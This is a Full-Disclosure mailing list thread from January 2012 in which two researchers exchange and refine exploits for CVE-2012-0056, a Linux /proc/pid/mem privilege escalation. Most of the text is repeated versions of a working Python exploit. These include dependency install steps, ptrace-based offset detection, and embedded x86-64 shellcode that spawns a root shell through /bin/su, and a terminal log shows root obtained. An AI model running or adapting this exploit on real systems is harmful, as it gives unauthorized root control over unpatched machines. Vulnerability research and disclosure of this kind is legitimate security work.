ptrace aint exactly rocket science :) this one is OCD friendly (no spraying & detects prefix length).
looking forward to your C port (python aint exactly great for real world use because of various deps). #!/usr/bin/python # CVE-2012-0056 amd64 # s...@fucksheep.org # # hg clone https://bitbucket.org/haypo/python-ptrace # (cd python-ptrace && ./setup.py install --home=~) # hg clone https://code.google.com/p/python-passfd # (cd python-passfd && ./setup.py install --home=~) # PYTHONPATH=~/lib/python ./hurrdurr.py from socket import * from passfd import * from os import * from socket import * from sys import * from ptrace.binding import * from time import * if argv[-1]=='hax': sk=int(argv[1]) fd=open("/proc/%d/mem"%getppid(),O_WRONLY) lseek(fd,int(argv[2]),0) sendfd(sk,fd) else: r,w=pipe() pid=fork() if not pid: dup2(w,2) ptrace_traceme() execl("/bin/su","su","h4x0rr") wait() while ptrace_getregs(pid).orig_rax not in (60,231): ptrace_syscall(pid) wait() rip=filter(lambda x: x>0x00400000 and x<0x09000000, [ptrace_peektext(pid, ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0] data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64) rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr') a,b=socketpair() if not fork(): execl("/usr/bin/python","python", __file__,str(a.fileno()),str(rip),'hax') dup2(recvfd(b)[0],2) execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); 2012/1/23 Jason A. Donenfeld <ja...@zx2c4.com>: > I started on a ptrace based way of finding things, but I'm a bit of a novice > in this area. It's not working yet, but progress is here: > http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c > > Any pointers? > > > On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld <ja...@zx2c4.com> wrote: >> >> Well done; that's a nice trick. Not really a fan of "spraying" like >> that (for irrational 'aesthetic' bullshitty reasons), but this is >> quite nice. Still though, you have the lseek offset in there, which is >> different for different executables. >> >> I'm sure there's a way to determine this without read access though -- >> ptrace, for example, will make a suid binary loose its suidness, but >> you could then (I think?) inquire about memory locations and maps. >> Once you have the info you need, then you run su normally sans >> ptracing in the exploit. Not sure if this works or not. I think there >> are a few other similar things you can do when running suid code that >> will make it loose suidness, and also a variety of inspection >> techniques. >> >> On Mon, Jan 23, 2012 at 03:46, sd <s...@fucksheep.org> wrote: >> > 2012/1/23 Jason A. Donenfeld <ja...@zx2c4.com>: >> >> NICE! Well, I guess posting that blog post defeated the point of not >> >> publishing. :-D >> > >> > Thanks for compliance with first full-disclosure famwhoring rule: >> > always post warez to make kids happy! :) >> > >> > On a related note, here goes my "private" version which relaxes the >> > rules regarding file permissions on /bin/su (ie not world readable). >> > This is to point out you can just overwrite 8kb of .text (default >> > stderr buffer, more is possible, but without mere nops) instead of >> > juggling with objdump. >> > >> > !/usr/bin/python >> > # CVE-2012-0056 amd64 >> > # s...@fucksheep.org >> > # >> > # hg clone https://code.google.com/p/python-passfd >> > # cd python-passfd; ./setup.py build_ext --inplace; cd src >> > # mv ~/hurrdurr.py . >> > # ./hurrdurr.py >> > from socket import * >> > from passfd import * >> > from os import * >> > from socket import * >> > from sys import * >> > if argv[-1]=='hax': >> > sk=int(argv[1]) >> > fd=open("/proc/%d/mem"%getppid(),O_WRONLY) >> > lseek(fd,0x401000,0) >> > sendfd(sk,fd) >> > else: >> > a,b=socketpair() >> > if not fork(): >> > execl("/usr/bin/python","python", >> > __file__,str(a.fileno()),'hax') >> > dup2(recvfd(b)[0],2) >> > >> > execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ >> > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ >> > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ >> > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); >> > >> > >> > >> >> >> >> So, here's my code: >> >> http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c >> >> >> >> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit >> >> versions from that same tree. >> >> >> >> Have fun. >> >> >> >> >> >> >> >> BTW, before I'm asked, the reason why I don't hard code 12 for the >> >> length of the su error string is that it's different on different >> >> distros. >> >> >> >> On Mon, Jan 23, 2012 at 02:14, sd <s...@fucksheep.org> wrote: >> >>> 2012/1/23 Jason A. Donenfeld <ja...@zx2c4.com>: >> >>>> Server presently DoS'd, or dreamhost is tweaking again. >> >>> >> >>> boring tl;dr - don't play kaminsky on us :) >> >>> >> >>> #!/usr/bin/python >> >>> # CVE-2012-0056 amd64 >> >>> # s...@fucksheep.org >> >>> # >> >>> # hg clone https://code.google.com/p/python-passfd >> >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src >> >>> # mv ~/hurrdurr.py . >> >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' >> >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'` >> >>> from socket import * >> >>> from passfd import * >> >>> from os import * >> >>> from socket import * >> >>> from sys import * >> >>> from time import * >> >>> if argv[-1]=='hax': >> >>> sk=int(argv[1]) >> >>> fd=open("/proc/%d/mem"%getppid(),O_WRONLY) >> >>> lseek(fd,int(argv[2].split('x')[-1],16)-12,0) >> >>> sendfd(sk,fd) >> >>> sleep(1) >> >>> else: >> >>> a,b=socketpair() >> >>> if not fork(): >> >>> execl("/usr/bin/python","python", >> >>> __file__,str(a.fileno()),argv[1],'hax') >> >>> dup2(recvfd(b)[0],2) >> >>> >> >>> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ >> >>> "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ >> >>> "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ >> >>> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); >> >>> >> >>> -- >> >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' >> >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'` >> >>> id >> >>> uid=0(root) gid=1000(sd) >> >>> >> >>> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd) >> > >> > _______________________________________________ >> > Full-Disclosure - We believe in it. >> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> > Hosted and sponsored by Secunia - http://secunia.com/ > > >
#!/usr/bin/python # CVE-2012-0056 amd64 # s...@fucksheep.org # # hg clone https://bitbucket.org/haypo/python-ptrace # (cd python-ptrace && ./setup.py install --home=~) # hg clone https://code.google.com/p/python-passfd # (cd python-passfd && ./setup.py install --home=~) # PYTHONPATH=~/lib/python ./hurrdurr.py from socket import * from passfd import * from os import * from socket import * from sys import * from ptrace.binding import * from time import * if argv[-1]=='hax': sk=int(argv[1]) fd=open("/proc/%d/mem"%getppid(),O_WRONLY) lseek(fd,int(argv[2]),0) sendfd(sk,fd) else: r,w=pipe() pid=fork() if not pid: dup2(w,2) ptrace_traceme() execl("/bin/su","su","h4x0rr") wait() while ptrace_getregs(pid).orig_rax not in (60,231): ptrace_syscall(pid) wait() rip=filter(lambda x: x>0x00400000 and x<0x09000000, [ptrace_peektext(pid, ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0] data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64) rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr') a,b=socketpair() if not fork(): execl("/usr/bin/python","python", __file__,str(a.fileno()),str(rip),'hax') dup2(recvfd(b)[0],2) execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/